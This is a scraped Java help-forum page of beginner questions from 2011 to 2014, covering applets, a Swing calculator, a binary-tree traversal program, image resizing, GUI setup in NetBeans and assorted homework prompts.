Home Discussion Discuss: Ask Java Questions Online

  • Javacheku June 1, 2011 at 4:55 PM

    This is my code and i want this code to be added in the form of JTabbedPane? please any one can help me........ class HomePage extends JApplet implements Runnable { Image Images; Graphics g; public void run(){ ; } public void paint(Graphics g) { setBackground(Color.black); int count=0; try{ while(count!=10){ URL music=getCodeBase(); play(music,"m.wav"); for(int i=0;i<=9;i++){ URL code=getCodeBase(); Images=getImage(code,"dorji000"+i+".jpg"); g.drawImage(Images,200,100,this); Thread.sleep(10); } for(int i=10;i<=99;i++){ URL code=getCodeBase(); Images=getImage(code,"dorji00"+i+".jpg"); g.drawImage(Images,200,100,this); Thread.sleep(10); } for(int i=100;i<=128;i++){ URL code=getCodeBase(); Images=getImage(code,"dorji0"+i+".jpg"); g.drawImage(Images,200,100,this); Thread.sleep(10); } for(int i=1;i<=20;i++){ URL code=getCodeBase(); Images=getImage(code,"dorji0128.jpg"); g.drawImage(Images,200,100,this); Thread.sleep(10); } count++; } }catch(Exception e){} } } /*class Home extends JApplet{ TextArea ta1,ta2,ta3; public Home() { setLayout(new FlowLayout()); ta1=new TextArea("",8,100); ta2=new TextArea("",13,130); ta3=new TextArea("",18,170); add(ta1); add(ta2); add(ta3); setBackground(Color.black); }

  • jdbc driver for berkeley dbnandoliya ahesanali June 11, 2011 at 6:45 PM

    i have installed Berkeley DB 5.1.25.msi Windows installer from oracle site and now i want berkeley db driver to connect it with java application

  • Full Screen code IssuesMike June 13, 2011 at 7:06 PM

    For some odd reason i am having some issues with a code that seems to be perfect, yet it keeps giving me 3 errors when i run it, but without running it, there are no errors visable.

  • Questionbharath June 14, 2013 at 9:57 AM

    Does java anyway related to Robotics?? I am a java developer and have a lot of interest in robotics , so i want to move to robotics with ny java skills,, can anyone guide me please.......

  • Email Readingprasad September 2, 2011 at 12:38 AM

    Hi I have to retrive the undeliverd mails from the mail server using pop3 protocall with SSL and i have to generate a report with original send date and to which mails it failied and undeliverd reason.can any one please suggest me how i can generate the undeliverd mail report in java Advanced Thanks

  • java questiongovind September 9, 2011 at 11:47 AM

    May i know how to find size of string in java.... Ex. String s1="I m new"; String s2=new String("I m new"); How much size is required for s1 and s2 ?

  • ResultsetAshwini May 28, 2013 at 1:31 PM

    How to pass or send a resultset from a servlet to a jsp page without using collections.

  • JAVA SubstringPrajwal Niraula February 21, 2013 at 6:26 PM

    I am trying to make a calculator in Java. Everything was going fine except for the control handler for ".". Following is the code. Any help would be appreciated. [code] import javax.swing.*; import java.awt.*; import java.awt.event.ActionListener; import java.awt.event.ActionEvent; import javax.script.ScriptEngineManager; import javax.script.ScriptEngine; public class Calculator implements ActionListener { public static JTextArea displayboard = new JTextArea(); public void actionPerformed(ActionEvent e){ JButton clickedButton=(JButton) e.getSource(); // Get the button's label String clickedButtonLabel = clickedButton.getText(); String previousText; String newText; ScriptEngineManager mgr = new ScriptEngineManager(); ScriptEngine engine = mgr.getEngineByName("JavaScript"); double result = 0; if(clickedButtonLabel!="="&&clickedButtonLabel!="C"&&clickedButtonLabel!="BS"&&clickedButtonLabel!="."){ try{ previousText = displayboard.getText(); newText = previousText+clickedButtonLabel; } catch(Exception e1){ newText = clickedButtonLabel; } displayboard.setText(newText); } else if(clickedButtonLabel=="C"){ displayboard.setText(""); } else if(clickedButtonLabel=="."){ previousText = displayboard.getText(); String lastDigit = " "; String digitHolder = " "; int count = previousText.length(); while(count>0){ digitHolder = previousText.substring(count-1,count); if(digitHolder!="+"&&digitHolder!="-"&&digitHolder!="*"&&digitHolder!="/"){ lastDigit=digitHolder+lastDigit; count--; } else{ break; } } int checkDot = 0; count = lastDigit.length(); System.out.println("Last Digit was: "+lastDigit); while(count>0){ digitHolder = lastDigit.substring(count-1,count); System.out.println(digitHolder.getClass().getName()+digitHolder+" Length="+digitHolder.length()); if(lastDigit=="."){ System.out.println("Inside Function as expected."); checkDot=1; break; } count--; } if(checkDot==0){ previousText = previousText+"."; displayboard.setText(previousText); } } else if(clickedButtonLabel=="BS"){ previousText = displayboard.getText(); if(previousText.length()==0){previousText = " ";} String textboard = previousText.substring(0,previousText.length()-1); displayboard.setText(textboard); } else{ int successful = 0; previousText = displayboard.getText(); try{ result = (double) engine.eval(previousText); successful =1 ; } catch(Exception e3){ //error message } if(successful == 1){ displayboard.setText(Double.toString(result)); } } } public static void main(String[] args) { Calculator calculator = new Calculator(); JPanel windowcontent = new JPanel(); BorderLayout b1 = new BorderLayout(); windowcontent.setLayout(b1); displayboard.setPreferredSize(new Dimension(10,120)); //displayboard.setHorizontalAlignment(displayboard.RIGHT); windowcontent.add("North",displayboard); JPanel anotherwindow = new JPanel(); GridLayout g1 = new GridLayout(3,6,10,10); anotherwindow.setLayout(g1); JButton button1 = new JButton("1"); button1.addActionListener(calculator); anotherwindow.add(button1); JButton button2 = new JButton("2"); anotherwindow.add(button2); button2.addActionListener(calculator); JButton button3 = new JButton("3"); anotherwindow.add(button3); button3.addActionListener(calculator); JButton buttonsign1 = new JButton("+"); anotherwindow.add(buttonsign1); buttonsign1.addActionListener(calculator); JButton buttonsign3 = new JButton("*"); anotherwindow.add(buttonsign3); buttonsign3.addActionListener(calculator); JButton buttonsign7 = new JButton("BS"); anotherwindow.add(buttonsign7); buttonsign7.addActionListener(calculator); JButton button4 = new JButton("4"); anotherwindow.add(button4); button4.addActionListener(calculator); JButton button5 = new JButton("5"); anotherwindow.add(button5); button5.addActionListener(calculator); JButton button6 = new JButton("6"); anotherwindow.add(button6); button6.addActionListener(calculator); JButton buttonsign2 = new JButton("-"); anotherwindow.add(buttonsign2); buttonsign2.addActionListener(calculator); JButton buttonsign4 = new JButton("/"); anotherwindow.add(buttonsign4); buttonsign4.addActionListener(calculator); JButton buttonsign5 = new JButton("C"); anotherwindow.add(buttonsign5); buttonsign5.addActionListener(calculator); JButton button7 = new JButton("7"); anotherwindow.add(button7); button7.addActionListener(calculator); JButton button8 = new JButton("8"); anotherwindow.add(button8); button8.addActionListener(calculator); JButton button9 = new JButton("9"); anotherwindow.add(button9); button9.addActionListener(calculator); JButton button11 = new JButton("0"); anotherwindow.add(button11); button11.addActionListener(calculator); JButton button10 = new JButton("."); anotherwindow.add(button10); button10.addActionListener(calculator); JButton button12 = new JButton("="); anotherwindow.add(button12); button12.addActionListener(calculator); //JButton buttonsign6 = new JButton("^"); //anotherwindow.add(buttonsign6); //buttonsign6.addActionListener(calculator); windowcontent.add("Center",anotherwindow); JFrame frame = new JFrame("Calculator"); frame.setContentPane(windowcontent); frame.setResizable(false); frame.setSize(new Dimension(370,300)); frame.setVisible(true); } } [/code]

  • convertmuhannad September 28, 2011 at 10:24 PM

    hi: I want to implement program looks like a calculator and I want to do I enter the following formula: (2*2)+(3*5) By JOptionPane.showInputDialog(null, "") Who shall enter String I want to show what product is the way Please

  • c++ programingfeeling heart February 19, 2013 at 12:07 PM

    A balance has the following size weights: 100 lb, 50 lb, 10 lb, 5 lb, and 1 lb. The number of 100 lb and 50 lb weights required to weigh an object weighing weight pounds can be calculated by using the following C++ statements: // Determine the number of 100 lb weights w100 = int(weight/100) // Determine the number of 50 lb weights w50 = int((weight â?? w100 * 100)/50) Using these statements as a starting point, write a C++ program that accepts a weight input from the user and then calculates the number of each type of weight needed to weigh that object.

  • Passing arguments to constructor from command linejude February 17, 2013 at 8:51 PM

    Hi..i have been given this very wicked task which i am sure isn't even possible: Is it possible to ask the user for values which are then stored as parameters for a constructor? Here is my code: public class Employee { String name = null; String location = null; int salary = 0; public Employee(String newName, String newLocation, int newSalary){ this.name = newName; this.location = newLocation; this.salary = newSalary; } } Now, i need to create a test class : public class EmployeeTest { public static void main(String[]args) { Employee employee1 = new Employee(); } } i know i am supposed to say Employee employee1 = new Employee("Andrew", "Paisley", 50) but my lecturer wants me to pass this values in from the command line instead, is it possible? phew!!!

  • java 32 bit and 64 bitjohn December 28, 2011 at 4:35 PM

    i have java 64 bit on my windows 7 64 bit OS but some programs need java 32 bit. CAN I INSTALL BOTH JAVA 64 BIT AND JAVA 32 BIT ON MY WINDOWS 7 64 BIT OS?

  • try catchNifran January 28, 2012 at 7:44 PM

    i want to know about how to limit the input by try catch

  • i'm counfused...missy February 20, 2012 at 3:47 PM

    can i declare string and int at the same time like this? public static void display(String name,int id)

  • can i...missy February 20, 2012 at 4:11 PM

    can i convert String to int or int to String?

  • Amir (Need Help Plz)Amir March 9, 2012 at 11:20 AM

    For this exercise you will be creating a small Java class that will use a user validation loop to get a number in the range of 1 to 9, inclusive. Then the program will generate a triangular shaped figure on the screen, based on the user's input. The triangular shaped figure for an input of 1 is: 1 The triangular shaped figure for an input of 2 is: 1 21 The triangular shaped figure for an input of 3 is: 1 21 321 The triangular shaped figure for an input of n is: 1 21 321 . . . n ... 1

  • Java (Parsing)Godson March 24, 2012 at 12:29 PM

    Hey, Thanks in advance I'm creating a guess the Number Game and i want to do it as independently as possible but i ran into some problems when i tried to compare A Random generated number and an Integer from the Player, but i need to parse one of them please help Random Ran = new Random(); System.out.println("A Number Has been Generated"); System.out.println("Guess what it is..."); int a = System.in.read(); while ( Ran != a){

  • Calling an array methodCory May 2, 2012 at 6:33 AM

    I created a this method in a separate class: public SpreadSheet(int r, int c) { r = rows; c = cols; int [][] sheet= new int [r][c]; for (r=0; r < rows; r++) { for (c=0; c < cols; c++) { sheet[r][c] =(int)(100*Math.random()); }//end of loop for c }//end of loop for r } I am trying to call this method and print it out in another class. This is what I have: SpreadSheet whichSheet = new SpreadSheet(5,7); whichSheet.printSheet(); What am I doing worng?

  • java queriesvidya May 7, 2012 at 1:05 PM

    HI I have to do one project in java.... that was creating quotation letter. The front end is designed by html. when i submit the button in html page the inserted parameters are diplayed as the pdf format. and also the parameters are stored in databas.. plz help me

  • dfs and bfsKarbeen May 21, 2012 at 12:30 AM

    hello... i have a code for tree traversal(using node)...now i want to add two methods dfs and bfs, which take 2 parameter initial(bigin point) and golden(target point), and it returns the path(visited nodes to reach the target) can any body help me please?...even an advice is so good for me. here is my code: /* * To change this template, choose Tools | Templates * and open the template in the editor. */ package Treee; /** * * @author Warmin */ // tree.java // demonstrates binary tree // to run this program: C>java TreeApp import java.io.*; import java.util.*; // for Stack class //////////////////////////////////////////////////////////////// class Node { public int iData; // data item (key) //public double dData; // data item public Node leftChild; // this node's left child public Node rightChild; // this node's right child public void displayNode() // display ourself { System.out.print('{'); System.out.print(iData); // System.out.print(", "); // System.out.print(dData); System.out.print("} "); } } // end class Node //////////////////////////////////////////////////////////////// class Tree { private Node root; // first node of tree // ------------------------------------------------------------- public Tree() // constructor { root = null; } // no nodes in tree yet // ------------------------------------------------------------- public Node find(int key) // find node with given key { // (assumes non-empty tree) Node current = root; // start at root while(current.iData != key) // while no match, { if(key < current.iData) // go left? current = current.leftChild; else // or go right? current = current.rightChild; if(current == null) // if no child, return null; // didn't find it } return current; // found it } // end find() // ------------------------------------------------------------- public void insert(int id) { Node newNode = new Node(); // make new node newNode.iData = id; // insert data // newNode.dData = dd; if(root==null) // no node in root root = newNode; else // root occupied { Node current = root; // start at root Node parent; while(true) // (exits internally) { parent = current; if(id < current.iData) // go left? { current = current.leftChild; if(current == null) // if end of the line, { // insert on left parent.leftChild = newNode; return; } } // end if go left else // or go right? { current = current.rightChild; if(current == null) // if end of the line { // insert on right parent.rightChild = newNode; return; } } // end else go right } // end while } // end else not root } // end insert() // ------------------------------------------------------------- public boolean delete(int key) // delete node with given key { // (assumes non-empty list) Node current = root; Node parent = root; boolean isLeftChild = true; while(current.iData != key) // search for node { parent = current; if(key < current.iData) // go left? { isLeftChild = true; current = current.leftChild; } else // or go right? { isLeftChild = false; current = current.rightChild; } if(current == null) // end of the line, return false; // didn't find it } // end while // found node to delete // if no children, simply delete it if(current.leftChild==null && current.rightChild==null) { if(current == root) // if root, root = null; // tree is empty else if(isLeftChild) parent.leftChild = null; // disconnect else // from parent parent.rightChild = null; } // if no right child, replace with left subtree else if(current.rightChild==null) if(current == root) root = current.leftChild; else if(isLeftChild) parent.leftChild = current.leftChild; else parent.rightChild = current.leftChild; // if no left child, replace with right subtree else if(current.leftChild==null) if(current == root) root = current.rightChild; else if(isLeftChild) parent.leftChild = current.rightChild; else parent.rightChild = current.rightChild; else // two children, so replace with inorder successor { // get successor of node to delete (current) Node successor = getSuccessor(current); // connect parent of current to successor instead if(current == root) root = successor; else if(isLeftChild) parent.leftChild = successor; else parent.rightChild = successor; // connect successor to current's left child successor.leftChild = current.leftChild; } // end else two children // (successor cannot have a left child) return true; // success } // end delete() // ------------------------------------------------------------- // returns node with next-highest value after delNode // goes to right child, then right child's left descendents private Node getSuccessor(Node delNode) { Node successorParent = delNode; Node successor = delNode; Node current = delNode.rightChild; // go to right child while(current != null) // until no more { // left children, successorParent = successor; successor = current; current = current.leftChild; // go to left child } // if successor not if(successor != delNode.rightChild) // right child, { // make connections successorParent.leftChild = successor.rightChild; successor.rightChild = delNode.rightChild; } return successor; } // ------------------------------------------------------------- public void traverse(int traverseType) { switch(traverseType) { case 1: System.out.print("\nPreorder traversal: "); preOrder(root); break; case 2: System.out.print("\nInorder traversal: "); inOrder(root); break; case 3: System.out.print("\nPostorder traversal: "); postOrder(root); break; } System.out.println(); } // ------------------------------------------------------------- private void preOrder(Node localRoot) { if(localRoot != null) { System.out.print(localRoot.iData + " "); preOrder(localRoot.leftChild); preOrder(localRoot.rightChild); } } // ------------------------------------------------------------- private void inOrder(Node localRoot) { if(localRoot != null) { inOrder(localRoot.leftChild); System.out.print(localRoot.iData + " "); inOrder(localRoot.rightChild); } } // ------------------------------------------------------------- private void postOrder(Node localRoot) { if(localRoot != null) { postOrder(localRoot.leftChild); postOrder(localRoot.rightChild); System.out.print(localRoot.iData + " "); } } // ------------------------------------------------------------- public void displayTree() { Stack globalStack = new Stack(); globalStack.push(root); int nBlanks = 32; boolean isRowEmpty = false; System.out.println( "......................................................"); while(isRowEmpty==false) { Stack localStack = new Stack(); isRowEmpty = true; for(int j=0; j<nBlanks; j++) System.out.print(' '); while(globalStack.isEmpty()==false) { Node temp = (Node)globalStack.pop(); if(temp != null) { System.out.print(temp.iData); localStack.push(temp.leftChild); localStack.push(temp.rightChild); if(temp.leftChild != null || temp.rightChild != null) isRowEmpty = false; } else { System.out.print("--"); localStack.push(null); localStack.push(null); } for(int j=0; j<nBlanks*2-2; j++) System.out.print(' '); } // end while globalStack not empty System.out.println(); nBlanks /= 2; while(localStack.isEmpty()==false) globalStack.push( localStack.pop() ); } // end while isRowEmpty is false System.out.println( "......................................................"); } // end displayTree() // ------------------------------------------------------------- } // end class Tree //////////////////////////////////////////////////////////////// class TreeApp111 { public static void main(String[] args) throws IOException { int value; Tree theTree = new Tree(); theTree.insert(50); theTree.insert(25); theTree.insert(75); theTree.insert(12); theTree.insert(37); theTree.insert(43); theTree.insert(30); theTree.insert(33); theTree.insert(87); theTree.insert(93); theTree.insert(97); while(true) { System.out.print("Enter first letter of show, "); System.out.print("insert, find, delete, or traverse: "); int choice = getChar(); switch(choice) { case 's': theTree.displayTree(); break; case 'i': System.out.print("Enter value to insert: "); value = getInt(); theTree.insert(value); break; case 'f': System.out.print("Enter value to find: "); value = getInt(); Node found = theTree.find(value); if(found != null) { System.out.print("Found: "); found.displayNode(); System.out.print("\n"); } else System.out.print("Could not find "); System.out.print(value + '\n'); break; case 'd': System.out.print("Enter value to delete: "); value = getInt(); boolean didDelete = theTree.delete(value); if(didDelete) System.out.print("Deleted " + value + '\n'); else System.out.print("Could not delete "); System.out.print(value + '\n'); break; case 't': System.out.print("Enter type 1, 2 or 3: "); value = getInt(); theTree.traverse(value); break; default: System.out.print("Invalid entry\n"); } // end switch } // end while } // end main() // ------------------------------------------------------------- public static String getString() throws IOException { InputStreamReader isr = new InputStreamReader(System.in); BufferedReader br = new BufferedReader(isr); String s = br.readLine(); return s; } // ------------------------------------------------------------- public static char getChar() throws IOException { String s = getString(); return s.charAt(0); } //------------------------------------------------------------- public static int getInt() throws IOException { String s = getString(); return Integer.parseInt(s); } // ------------------------------------------------------------- } // end class TreeApp ////////////////////////////////////////////////////////////////

  • javarohit sharma June 2, 2012 at 6:42 PM

    can we able to use a while loop inside for loop?

  • About JAVAsuyog June 9, 2012 at 11:57 AM

    Hello, I am a student of BCA and i just decided to make certification course. But i am not able to choose programming language. so i need your help. My question is which is best between JAVA and C# or ASP.NET? Actually i don`t have interest in too much coding. So is C# and ASP best option for me? or i choose JAVA??? Please reply me as quick as possible. Thank you.

  • facebook chat integration Ravi Pandey July 12, 2012 at 3:25 PM

    How to integrate facebook chat feature on any web page..Please explain with java code...

  • facebook chat integration Ravi Pandey July 12, 2012 at 3:25 PM

    How to integrate facebook chat feature on any web page..Please explain with java code...

  • The Java Resize ImageCosMoNG July 17, 2012 at 2:06 PM

    This is my java application code: jlblImage.setIcon(new ResizeImage().scale("image/"+tableName+"/"+ foodImageFile,220,220)); This is my Class file: import java.awt.*; import java.awt.image.BufferedImage; import java.io.*; import javax.swing.*; class ResizeImage { public ImageIcon scale(String fileName, int w, int h) throws IOException { File file = new File(fileName); ImageIcon scaledImage; BufferedImage src = javax.imageio.ImageIO.read(file); int type = BufferedImage.TYPE_INT_RGB; BufferedImage dst = new BufferedImage(w, h, type); Graphics2D g2 = dst.createGraphics(); // Fill background for scale to fit. g2.setBackground(UIManager.getColor("Panel.background")); g2.clearRect(0,0,w,h); double xScale = (double)w/src.getWidth(); double yScale = (double)h/src.getHeight(); // Scaling options: // Scale to fit - image just fits in label. double scale = Math.min(xScale, yScale); // Scale to fill - image just fills label. //double scale = Math.max(xScale, yScale); int swidth = (int)(scale*src.getWidth()); int sheight = (int)(scale*src.getHeight()); int x = (w - swidth)/2; int y = (h - sheight)/2; g2.drawImage(src, x, y, swidth, sheight, null); g2.dispose(); scaledImage = new ImageIcon(dst); return scaledImage; } //This is calling without passing width and height public ImageIcon scale(String fileName) throws IOException { File file = new File(fileName); ImageIcon scaledImage; //This scale will auto scale the image to 300 X 300 (default show for order menu size) int w = 140,h= 140; BufferedImage src = javax.imageio.ImageIO.read(file); int type = BufferedImage.TYPE_INT_RGB; BufferedImage dst = new BufferedImage(w, h, type); Graphics2D g2 = dst.createGraphics(); // Fill background for scale to fit. g2.setBackground(UIManager.getColor("Panel.background")); g2.clearRect(0,0,w,h); double xScale = (double)w/src.getWidth(); double yScale = (double)h/src.getHeight(); // Scaling options: // Scale to fit - image just fits in label. double scale = Math.min(xScale, yScale); // Scale to fill - image just fills label. //double scale = Math.max(xScale, yScale); int swidth = (int)(scale*src.getWidth()); int sheight = (int)(scale*src.getHeight()); int x = (w - swidth)/2; int y = (h - sheight)/2; g2.drawImage(src, x, y, swidth, sheight, null); g2.dispose(); scaledImage = new ImageIcon(dst); return scaledImage; } } This is my problem that happen to me. javax.imageio.IIOException: Can't read input file! at javax.imageio.ImageIO.read(ImageIO.java:1301) at ResizeImage.scale(ResizeImage.java:11) at Order.setJToggleButtonImageIcon(Order.java:593) at Order$12.actionPerformed(Order.java:563) at javax.swing.JComboBox.fireActionEvent(JComboBox.java:1260) at javax.swing.JComboBox.setSelectedItem(JComboBox.java:588) at javax.swing.JComboBox.setSelectedIndex(JComboBox.java:624) at javax.swing.plaf.basic.BasicComboPopup$Handler.mouseReleased(BasicComboPopup.java:835) at java.awt.AWTEventMulticaster.mouseReleased(AWTEventMulticaster.java:290) at java.awt.Component.processMouseEvent(Component.java:6505) at javax.swing.JComponent.processMouseEvent(JComponent.java:3321) at javax.swing.plaf.basic.BasicComboPopup$1.processMouseEvent(BasicComboPopup.java:499) at java.awt.Component.processEvent(Component.java:6270) at java.awt.Container.processEvent(Container.java:2229) at java.awt.Component.dispatchEventImpl(Component.java:4861) at java.awt.Container.dispatchEventImpl(Container.java:2287) at java.awt.Component.dispatchEvent(Component.java:4687) at java.awt.LightweightDispatcher.retargetMouseEvent(Container.java:4832) at java.awt.LightweightDispatcher.processMouseEvent(Container.java:4492) at java.awt.LightweightDispatcher.dispatchEvent(Container.java:4422) at java.awt.Container.dispatchEventImpl(Container.java:2273) at java.awt.Window.dispatchEventImpl(Window.java:2713) at java.awt.Component.dispatchEvent(Component.java:4687) at java.awt.EventQueue.dispatchEventImpl(EventQueue.java:707) at java.awt.EventQueue.access$000(EventQueue.java:101) at java.awt.EventQueue$3.run(EventQueue.java:666) at java.awt.EventQueue$3.run(EventQueue.java:664) at java.security.AccessController.doPrivileged(Native Method) at java.security.ProtectionDomain$1.doIntersectionPrivilege(ProtectionDomain.java:76) at java.security.ProtectionDomain$1.doIntersectionPrivilege(ProtectionDomain.java:87) at java.awt.EventQueue$4.run(EventQueue.java:680) at java.awt.EventQueue$4.run(EventQueue.java:678) at java.security.AccessController.doPrivileged(Native Method) at java.security.ProtectionDomain$1.doIntersectionPrivilege(ProtectionDomain.java:76) at java.awt.EventQueue.dispatchEvent(EventQueue.java:677) at java.awt.EventDispatchThread.pumpOneEventForFilters(EventDispatchThread.java:211) at java.awt.EventDispatchThread.pumpEventsForFilter(EventDispatchThread.java:128) at java.awt.EventDispatchThread.pumpEventsForHierarchy(EventDispatchThread.java:117) at java.awt.EventDispatchThread.pumpEvents(EventDispatchThread.java:113) at java.awt.EventDispatchThread.pumpEvents(EventDispatchThread.java:105) at java.awt.EventDispatchThread.run(EventDispatchThread.java:90)

  • regarding to java in netbeansRahul July 28, 2012 at 9:44 AM

    JOptionPane.showMessageDialog(null,"Login Successfull"); JOptionPane.showMessageDialog(null,"username or password is incorrect"); i want u use else between them but it showing error plz help me

  • guinase July 30, 2012 at 12:11 AM

    Hello! Im very new to GUI coding, and Im trying to make a GUI to convertor but netbeans dont show any error but after i click on run i dont see any result i just see this on output that isnt like what i expected i want to see the pane that i created : run: BUILD SUCCESSFUL (total time: 0 seconds) here is my code for main class : package celsius.to.fahrenheit; import java.beans.Visibility; /** * * @author naser */ public class CelsiusToFahrenheit { /** * @param args the command line arguments */ public static void main(String[] args) { } }; // TODO code application logic here here is my code for swing class : /* * To change this template, choose Tools | Templates * and open the template in the editor. */ /* * ctf_frame.java * * Created on Jul 29, 2012, 6:51:10 PM */ /** * * @author naser */ public class ctf_frame extends javax.swing.JFrame { /** Creates new form ctf_frame */ public ctf_frame() { initComponents(); } /** This method is called from within the constructor to * initialize the form. * WARNING: Do NOT modify this code. The content of this method is * always regenerated by the Form Editor. */ @SuppressWarnings("unchecked") // <editor-fold defaultstate="collapsed" desc="Generated Code"> private void initComponents() { celsiusinput = new javax.swing.JTextField(); jButton1 = new javax.swing.JButton(); jLabel1 = new javax.swing.JLabel(); jLabel2 = new javax.swing.JLabel(); fahrenheitext = new javax.swing.JTextField(); setDefaultCloseOperation(javax.swing.WindowConstants.EXIT_ON_CLOSE); celsiusinput.setText("celsiustxt"); celsiusinput.addActionListener(new java.awt.event.ActionListener() { public void actionPerformed(java.awt.event.ActionEvent evt) { celsiusinputActionPerformed(evt); } }); jButton1.setText("jButton1"); jButton1.addActionListener(new java.awt.event.ActionListener() { public void actionPerformed(java.awt.event.ActionEvent evt) { jButton1ActionPerformed(evt); } }); jLabel1.setText("celsius"); jLabel2.setText("fahrenheit"); fahrenheitext.setText("jTextField1"); fahrenheitext.addActionListener(new java.awt.event.ActionListener() { public void actionPerformed(java.awt.event.ActionEvent evt) { fahrenheitextActionPerformed(evt); } }); javax.swing.GroupLayout layout = new javax.swing.GroupLayout(getContentPane()); getContentPane().setLayout(layout); layout.setHorizontalGroup( layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) .addGroup(javax.swing.GroupLayout.Alignment.TRAILING, layout.createSequentialGroup() .addContainerGap(javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) .addComponent(jLabel1) .addComponent(celsiusinput, javax.swing.GroupLayout.PREFERRED_SIZE, 70, javax.swing.GroupLayout.PREFERRED_SIZE)) .addGap(18, 18, 18) .addComponent(jButton1) .addGap(24, 24, 24) .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) .addComponent(jLabel2) .addComponent(fahrenheitext, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)) .addGap(99, 99, 99)) ); layout.setVerticalGroup( layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) .addGroup(layout.createSequentialGroup() .addGap(29, 29, 29) .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) .addComponent(jLabel1) .addComponent(jLabel2)) .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) .addComponent(celsiusinput, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) .addComponent(jButton1) .addComponent(fahrenheitext, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)) .addContainerGap(38, Short.MAX_VALUE)) ); pack(); }// </editor-fold> private void celsiusinputActionPerformed(java.awt.event.ActionEvent evt) { int tempfar = Integer.parseInt(celsiusinput.getText()) ; String tempfar1 =String.valueOf(tempfar) ; fahrenheitext.setText(tempfar1); // TODO add your handling code here: } private void fahrenheitextActionPerformed(java.awt.event.ActionEvent evt) { // TODO add your handling code here: } private void jButton1ActionPerformed(java.awt.event.ActionEvent evt) { // TODO add your handling code here: } /** * @param args the command line arguments */ public static void main(String args[]) { java.awt.EventQueue.invokeLater(new Runnable() { @Override public void run() { new ctf_frame().setVisible(true); } }); } // Variables declaration - do not modify private javax.swing.JTextField celsiusinput; private javax.swing.JTextField fahrenheitext; private javax.swing.JButton jButton1; private javax.swing.JLabel jLabel1; private javax.swing.JLabel jLabel2; // End of variables declaration } am i missing any thing ?

  • DoubtSuren August 8, 2012 at 3:35 PM

    Hi please teach me how to avoid using multiple try and catch. never mind. . im a begineer. Thanks. import java.io.*; class suren{ public static void main(String args[]) { InputStreamReader input=new InputStreamReader(System.in); BufferedReader user=new BufferedReader(input); System.out.println("welcome to Symphony Services India"); System.out.println("Your Name please:"); try{ String firstname=user.readLine(); } catch(IOException err){ System.out.println("Error while reading"); } System.out.println("Please Enter In The Year You Were Born: "); try{ String bornYear =user.readLine(); } catch(IOException err){ System.out.println("Error while reading"); } System.out.println("Please Enter In The Current Year: "); try{ String thisYear = user.readLine(); } catch(IOException err){ System.out.println("Error while reading"); } } } Output: D:\java bin>javac suren.java D:\java bin>java suren welcome to Symphony Services India Your Name please: Surendar S Please Enter In The Year You Were Born: 1986 Please Enter In The Current Year: 2012

  • javamahesh September 9, 2012 at 10:04 PM

    how to execute the jar file which is depends on the other jar file?

  • java questionshaleen September 21, 2012 at 11:09 PM

    i immediately need some help with the solution of this program- 1 121 12321 1234321 123454321

  • Java objects and classesJoal October 1, 2012 at 2:59 AM

    Hi there, i'm working on 5 classes one of them has a private array that gets enum values from different class, and in the other class i'm trying to collect the values from the private array and do whatever with them, what can i do in this case?

  • threadDAN WOOD October 14, 2012 at 11:48 PM

    what can be guaranteed about thread in java, what does the thread ordering on one JVM tell you about the ordering on another JVM

  • SJF with preemptive sungiiin December 22, 2012 at 1:32 AM

    Hi, Can u tel me how can i write a program in java for shortest job first with preemptive ?i tried to write a program but i couldn't....pleaseeeeeeee help

  • for sing the jar fileashish January 2, 2013 at 2:05 PM

    Sir meine s40 certificate download kr ke mobile ke certificate path me daal diye pr unme app singing ka option nahi aata mujhe java app sing krni he pls help modal-nokia 3500c pls tell me how to sing the jar file

  • level curves in javaparasto January 5, 2013 at 3:46 AM

    Hi, I have to write a program which can draw contour plot(level curves) of every function, but i do not know how to calculate x and y in f(x,y)=z to draw the level curves? I could not find any source coldes which can help me :( Thanks in advance

  • Ask about implementation a Gui in JavaMehrdad May 17, 2013 at 12:40 PM

    To whom it may concern; I need a clue to write a program that read from a flat file and create a GUI interface (create a panel+ put components+...) ,also how I can do it in reverse way? (from GUI interface to a flat file)). thank you

  • c++venkateshmadisetty August 1, 2013 at 8:02 PM

    why we dont use " new " operator to create an object in c++ but why we should we have to use " new " operator to create object in java

  • javaprashant August 13, 2013 at 8:14 PM

    public class that { public static void main(String arr[]) { int i=3; int j=1; while(i<4) { //j=i; i=i+j/2; } System.out.println(i); } } can anyone tell mw how the anser is 13 ....................i thimk it should be 10

  • Java RestrictionJava Jerry November 15, 2013 at 11:43 AM

    Hello Guys, We have restriction in java that we can not have multiple public classes in java in same file.. The Question is Why java make this restriction..???

  • Call Https Url from javaRahul kale January 7, 2014 at 6:36 PM

    I have written web service and hosted project on server with SSL certificate.If I want to call HTTPS url, I need to import certificate in JVM manually or through program on client side. I can't ask any client to do extra work on his side before calling my https url, I would loose my credibility. If any one knows how to deal with this, please help me.

  • Please help to solve this??Vinodh April 7, 2014 at 5:17 PM

    . Given a String: String phrase = "T,he ,quick, bro,wn f,ox jump,s over, the l,azy do,g"; Write a program to reverse the phrase but maintain the index of every COMMA. (Expected output: "g,od ,yzal ,eht ,revo, spmuj ,xof nw,orb kc,iuq eh,T")

  • post using java entityAfo April 10, 2014 at 7:57 PM

